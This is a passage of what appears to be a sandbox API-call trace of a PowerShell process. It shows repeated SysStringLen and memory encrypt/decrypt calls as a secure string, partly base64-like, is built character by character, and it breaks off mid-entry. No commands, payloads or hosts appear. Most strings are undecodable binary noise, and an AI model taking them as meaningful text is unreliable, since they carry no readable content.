SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ᩪ柏猦⣤峅ᆄ뺼⊦) returned 0x20 [0230.693] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ᩪ柏猦⣤峅ᆄ뺼⊦) returned 0x20 [0230.693] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.693] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBHxbF運䗚ꞏ") returned 0x20 [0230.693] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.693] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ꡪ⸇嶡獺挕√繪ᖊ≌) returned 0x20 [0230.693] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ꡪ⸇嶡獺挕√繪ᖊ≌) returned 0x20 [0230.693] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.693] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBHxbF0䗚ꞏ") returned 0x20 [0230.694] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.694] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝輹g↹省뀥ǣ㫘−) returned 0x20 [0230.695] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝輹g↹省뀥ǣ㫘−) returned 0x20 [0230.695] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.695] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBHxbF07ꞏ") returned 0x20 [0230.695] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.695] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝흪솫궧ݸꉦ⌟옪≪) returned 0x20 [0230.695] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝흪솫궧ݸꉦ⌟옪≪) returned 0x20 [0230.695] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.695] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBHxbF07aꞏ") returned 0x20 [0230.695] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.695] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ቪ鳷创諾ᄤ☻操⋨) returned 0x20 [0230.695] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ቪ鳷创諾ᄤ☻操⋨) returned 0x20 [0230.695] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.696] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBHxbF07aq") returned 0x20 [0230.696] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.696] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋≍) returned 0x20 [0230.696] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋≍) returned 0x20 [0230.696] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋≍) returned 0x20 [0230.696] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋≍) returned 0x28 [0230.696] SystemFunction041 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.697] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBHxbF07aq3嶮\뗘⼯ɳҮ炸⊀) returned 0x28 [0230.697] SystemFunction040 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.697] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋祍좫씩ᆶ㢨虐憃὆⊮) returned 0x28 [0230.697] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋祍좫씩ᆶ㢨虐憃὆⊮) returned 0x28 [0230.697] SystemFunction041 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.697] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBHxbF07aq3s\뗘⼯ɳҮ炸⊀) returned 0x28 [0230.697] SystemFunction040 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.697] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋汍虧ꑩ\쟘㳈缴\믞∆) returned 0x28 [0230.697] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋汍虧ꑩ\쟘㳈缴\믞∆) returned 0x28 [0230.697] SystemFunction041 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.697] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBHxbF07aq3sY⾵猯긂렄聰") returned 0x28 [0230.697] SystemFunction040 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.698] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋퍍匲꿝䖐㍥䡂䁿蝀≔) returned 0x28 [0230.698] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋퍍匲꿝䖐㍥䡂䁿蝀≔) returned 0x28 [0230.698] SystemFunction041 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.698] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBHxbF07aq3sY8猯긂렄聰") returned 0x28 [0230.698] SystemFunction040 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.698] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋굍틀㍦㒏鶸儫郮⊫) returned 0x28 [0230.698] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋굍틀㍦㒏鶸儫郮⊫) returned 0x28 [0230.698] SystemFunction041 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.698] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBHxbF07aq3sY8+긂렄聰") returned 0x28 [0230.698] SystemFunction040 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.698] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋ꝍ㙥긊毧ជƝ⋣) returned 0x28 [0230.698] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋ꝍ㙥긊毧ជƝ⋣) returned 0x28 [0230.698] SystemFunction041 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.699] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBHxbF07aq3sY8+8렄聰") returned 0x28 [0230.699] SystemFunction040 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.699] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋淚ट嘭】山዆愈䮮∍) returned 0x28 [0230.699] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋淚ट嘭】山዆愈䮮∍) returned 0x28 [0230.699] SystemFunction041 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.699] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBHxbF07aq3sY8+8n聰") returned 0x28 [0230.699] SystemFunction040 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.699] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋免ه힧\땝骔켻") returned 0x28 [0230.699] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋免ه힧\땝骔켻") returned 0x28 [0230.699] SystemFunction041 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.699] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBHxbF07aq3sY8+8nW") returned 0x28 [0230.699] SystemFunction040 (in: Memory=0x5c92774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92774) returned 0x0 [0230.699] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋襍ꚵ뚳Ζ踍쐑뤑൵⊷) returned 0x28 [0230.700] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋襍ꚵ뚳Ζ踍쐑뤑൵⊷) returned 0x28 [0230.700] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋襍ꚵ뚳Ζ踍쐑뤑൵⊷) returned 0x28 [0230.700] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋襍ꚵ뚳Ζ踍쐑뤑൵⊷) returned 0x30 [0230.700] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0230.700] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBHxbF07aq3sY8+8nWs謳럍驡ꞻۊ稶") returned 0x30 [0230.700] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0230.700] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋襍ꚵ뚳Ζ踍쐑뤑൵㊷畼쾶\荠ⱽ萺碠") returned 0x30 [0230.700] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋襍ꚵ뚳Ζ踍쐑뤑൵㊷畼쾶\荠ⱽ萺碠") returned 0x30 [0230.700] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0230.701] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBHxbF07aq3sY8+8nWsw럍驡ꞻۊ稶") returned 0x30 [0230.701] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0230.701] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋襍ꚵ뚳Ζ踍쐑뤑൵ᒷ苃幸菱㴣퓰㳦ഋ⊵) returned 0x30 [0230.701] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋襍ꚵ뚳Ζ踍쐑뤑൵ᒷ苃幸菱㴣퓰㳦ഋ⊵) returned 0x30 [0230.701] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0230.701] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBHxbF07aq3sY8+8nWsws럍驡ꞻۊ稶") returned 0x30 [0230.701] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0230.701] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋襍ꚵ뚳Ζ踍쐑뤑൵綷\᫛\ﻙ巰ຢ⟥≑) returned 0x30 [0230.701] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ⱪ㯺앥箯삕緸眘䯋襍ꚵ뚳Ζ踍쐑뤑൵綷\᫛\ﻙ巰ຢ⟥≑) returned 0x30 [0230.701] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0230.701] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBHxbF07aq3sY8+8nWsws=驡ꞻۊ稶") returned 0x30 [0230.701] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0230.702] EtwEventActivityIdControl () returned 0x0 [0230.702] EtwEventActivityIdControl () returned 0x0 [0230.702] EtwEventActivityIdControl () returned 0x0 [0230.702] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.703] EtwEventActivityIdControl () returned 0x0 [0230.703] EtwEventActivityIdControl () returned 0x0 [0230.703] EtwEventActivityIdControl () returned 0x0 [0230.703] SysStringLen (param_1="") returned 0x8 [0230.703] SysStringLen (param_1="N") returned 0x8 [0230.703] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.704] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0230.704] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0230.704] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.704] SysStringLen (param_1="ND") returned 0x8 [0230.704] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.704] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0230.704] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0230.704] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.704] SysStringLen (param_1="NDZ") returned 0x8 [0230.704] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.704] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0230.704] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0230.704] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.705] SysStringLen (param_1="NDZl") returned 0x8 [0230.705] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.705] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0230.705] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0230.705] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.705] SysStringLen (param_1="NDZlO") returned 0x8 [0230.705] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.705] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0230.705] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0230.705] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.707] SysStringLen (param_1="NDZlOD") returned 0x8 [0230.707] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.707] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0230.707] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0230.707] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.707] SysStringLen (param_1="NDZlODR") returned 0x8 [0230.707] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.707] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0230.708] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0230.708] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.728] SysStringLen (param_1="NDZlODRm") returned 0x8 [0230.728] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.728] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0230.729] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0230.729] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0230.729] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0230.729] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.729] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0230.730] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.730] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0230.730] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0230.730] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.730] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0230.730] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.730] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0230.730] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0230.730] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.730] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0230.730] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.730] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0230.730] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0230.730] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.731] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0230.731] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.731] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0230.731] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0230.731] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.731] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0230.731] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.731] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0230.731] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0230.731] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.731] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0230.731] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.732] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0230.732] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0230.732] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.732] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0230.732] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.732] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0230.732] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0230.732] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.732] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0230.732] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.732] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0230.733] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0230.733] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0230.733] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0230.733] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.733] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0230.733] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.733] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0230.733] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0230.733] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.734] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0230.734] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.734] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0230.734] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0230.734] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.734] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0230.734] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.734] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0230.734] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0230.734] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.734] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0230.734] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.734] SysStringLen 